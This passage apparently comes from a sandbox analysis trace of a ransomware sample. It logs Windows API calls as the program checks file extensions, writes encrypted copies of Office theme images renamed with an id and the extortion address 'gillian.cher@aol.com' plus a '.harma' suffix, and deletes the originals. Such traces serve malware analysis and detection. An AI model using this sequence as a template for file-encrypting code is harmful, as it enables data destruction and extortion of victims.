lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.411] lstrlenW (lpString=".xls") returned 4 [0057.411] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.411] lstrlenW (lpString=".xlsx") returned 5 [0057.411] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.411] lstrlenW (lpString=".ppt") returned 4 [0057.411] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.411] lstrlenW (lpString=".zip") returned 4 [0057.411] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.411] lstrlenW (lpString=".rar") returned 4 [0057.411] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.411] lstrlenW (lpString=".bz2") returned 4 [0057.412] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.412] lstrlenW (lpString=".7z") returned 3 [0057.412] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.412] lstrlenW (lpString=".dbf") returned 4 [0057.412] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.412] lstrlenW (lpString=".1cd") returned 4 [0057.412] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.412] lstrlenW (lpString=".jpg") returned 4 [0057.412] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.412] lstrlenW (lpString=".doc") returned 4 [0057.412] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.412] lstrlenW (lpString=".docx") returned 5 [0057.412] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.412] lstrlenW (lpString=".pdf") returned 4 [0057.412] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.412] lstrlenW (lpString=".xls") returned 4 [0057.412] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.412] lstrlenW (lpString=".xlsx") returned 5 [0057.412] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.412] lstrlenW (lpString=".ppt") returned 4 [0057.413] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.413] lstrlenW (lpString=".zip") returned 4 [0057.413] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.413] lstrlenW (lpString=".rar") returned 4 [0057.413] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.413] lstrlenW (lpString=".bz2") returned 4 [0057.413] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.413] lstrlenW (lpString=".7z") returned 3 [0057.413] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.413] lstrlenW (lpString=".dbf") returned 4 [0057.413] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.414] lstrlenW (lpString=".1cd") returned 4 [0057.414] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0057.414] lstrlenW (lpString=".jpg") returned 4 [0057.414] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.414] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.414] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.415] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1560) returned 1 [0057.415] CloseHandle (hObject=0x200) returned 1 [0057.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0057.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.415] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.415] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0057.418] GetLastError () returned 0x0 [0057.418] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x618, lpOverlapped=0x0) returned 1 [0057.420] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x620, lpOverlapped=0x0) returned 1 [0057.421] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.421] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.421] SetEndOfFile (hFile=0x208) returned 1 [0057.421] CloseHandle (hObject=0x208) returned 1 [0057.422] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.422] SetEndOfFile (hFile=0x200) returned 1 [0057.423] CloseHandle (hObject=0x200) returned 1 [0057.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.423] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0057.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.423] lstrlenW (lpString=".doc") returned 4 [0057.423] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.424] lstrlenW (lpString=".docx") returned 5 [0057.424] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.424] lstrlenW (lpString=".pdf") returned 4 [0057.424] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.424] lstrlenW (lpString=".xls") returned 4 [0057.424] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.424] lstrlenW (lpString=".xlsx") returned 5 [0057.424] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.424] lstrlenW (lpString=".ppt") returned 4 [0057.424] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.424] lstrlenW (lpString=".zip") returned 4 [0057.424] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.424] lstrlenW (lpString=".rar") returned 4 [0057.424] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.424] lstrlenW (lpString=".bz2") returned 4 [0057.424] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.424] lstrlenW (lpString=".7z") returned 3 [0057.424] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.424] lstrlenW (lpString=".dbf") returned 4 [0057.424] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.424] lstrlenW (lpString=".1cd") returned 4 [0057.424] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.424] lstrlenW (lpString=".jpg") returned 4 [0057.425] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.425] lstrlenW (lpString=".doc") returned 4 [0057.425] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.425] lstrlenW (lpString=".docx") returned 5 [0057.425] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.425] lstrlenW (lpString=".pdf") returned 4 [0057.425] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.425] lstrlenW (lpString=".xls") returned 4 [0057.425] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.425] lstrlenW (lpString=".xlsx") returned 5 [0057.425] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.425] lstrlenW (lpString=".ppt") returned 4 [0057.425] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.425] lstrlenW (lpString=".zip") returned 4 [0057.425] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.425] lstrlenW (lpString=".rar") returned 4 [0057.425] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.425] lstrlenW (lpString=".bz2") returned 4 [0057.425] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.425] lstrlenW (lpString=".7z") returned 3 [0057.425] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.425] lstrlenW (lpString=".dbf") returned 4 [0057.426] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.426] lstrlenW (lpString=".1cd") returned 4 [0057.426] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0057.426] lstrlenW (lpString=".jpg") returned 4 [0057.426] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.426] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.426] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.427] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=33009) returned 1 [0057.427] CloseHandle (hObject=0x200) returned 1 [0057.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20 [0057.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.433] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.433] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0057.434] GetLastError () returned 0x0 [0057.434] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x80f1, lpOverlapped=0x0) returned 1 [0057.437] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x8100, lpOverlapped=0x0) returned 1 [0057.439] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.439] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.439] SetEndOfFile (hFile=0x208) returned 1 [0057.439] CloseHandle (hObject=0x208) returned 1 [0057.439] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.439] SetEndOfFile (hFile=0x200) returned 1 [0057.441] CloseHandle (hObject=0x200) returned 1 [0057.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.441] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0057.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.441] lstrlenW (lpString=".doc") returned 4 [0057.441] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.441] lstrlenW (lpString=".docx") returned 5 [0057.441] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.441] lstrlenW (lpString=".pdf") returned 4 [0057.442] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.442] lstrlenW (lpString=".xls") returned 4 [0057.442] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.442] lstrlenW (lpString=".xlsx") returned 5 [0057.442] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.442] lstrlenW (lpString=".ppt") returned 4 [0057.442] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.442] lstrlenW (lpString=".zip") returned 4 [0057.442] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.442] lstrlenW (lpString=".rar") returned 4 [0057.442] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.442] lstrlenW (lpString=".bz2") returned 4 [0057.442] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.442] lstrlenW (lpString=".7z") returned 3 [0057.442] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.442] lstrlenW (lpString=".dbf") returned 4 [0057.442] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.442] lstrlenW (lpString=".1cd") returned 4 [0057.442] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.442] lstrlenW (lpString=".jpg") returned 4 [0057.442] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.443] lstrlenW (lpString=".doc") returned 4 [0057.443] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.443] lstrlenW (lpString=".docx") returned 5 [0057.443] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.443] lstrlenW (lpString=".pdf") returned 4 [0057.443] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.443] lstrlenW (lpString=".xls") returned 4 [0057.443] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.443] lstrlenW (lpString=".xlsx") returned 5 [0057.443] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.443] lstrlenW (lpString=".ppt") returned 4 [0057.443] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.443] lstrlenW (lpString=".zip") returned 4 [0057.443] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.443] lstrlenW (lpString=".rar") returned 4 [0057.443] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.443] lstrlenW (lpString=".bz2") returned 4 [0057.443] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.443] lstrlenW (lpString=".7z") returned 3 [0057.444] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.444] lstrlenW (lpString=".dbf") returned 4 [0057.444] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.444] lstrlenW (lpString=".1cd") returned 4 [0057.444] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0057.444] lstrlenW (lpString=".jpg") returned 4 [0057.444] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.444] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.444] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.445] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1925) returned 1 [0057.445] CloseHandle (hObject=0x200) returned 1 [0057.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0057.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0057.445] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.445] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0057.448] GetLastError () returned 0x0 [0057.448] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x785, lpOverlapped=0x0) returned 1 [0057.450] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x790, lpOverlapped=0x0) returned 1 [0057.451] ReadFile (in: hFile=0x200, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.451] WriteFile (in: hFile=0x208, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.451] SetEndOfFile (hFile=0x208) returned 1 [0057.451] CloseHandle (hObject=0x208) returned 1 [0057.452] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.452] SetEndOfFile (hFile=0x200) returned 1 [0057.453] CloseHandle (hObject=0x200) returned 1 [0057.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.453] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0057.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0057.453] lstrlenW (lpString=".doc") returned 4 [0057.454] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.454] lstrlenW (lpString=".docx") returned 5 [0057.454] 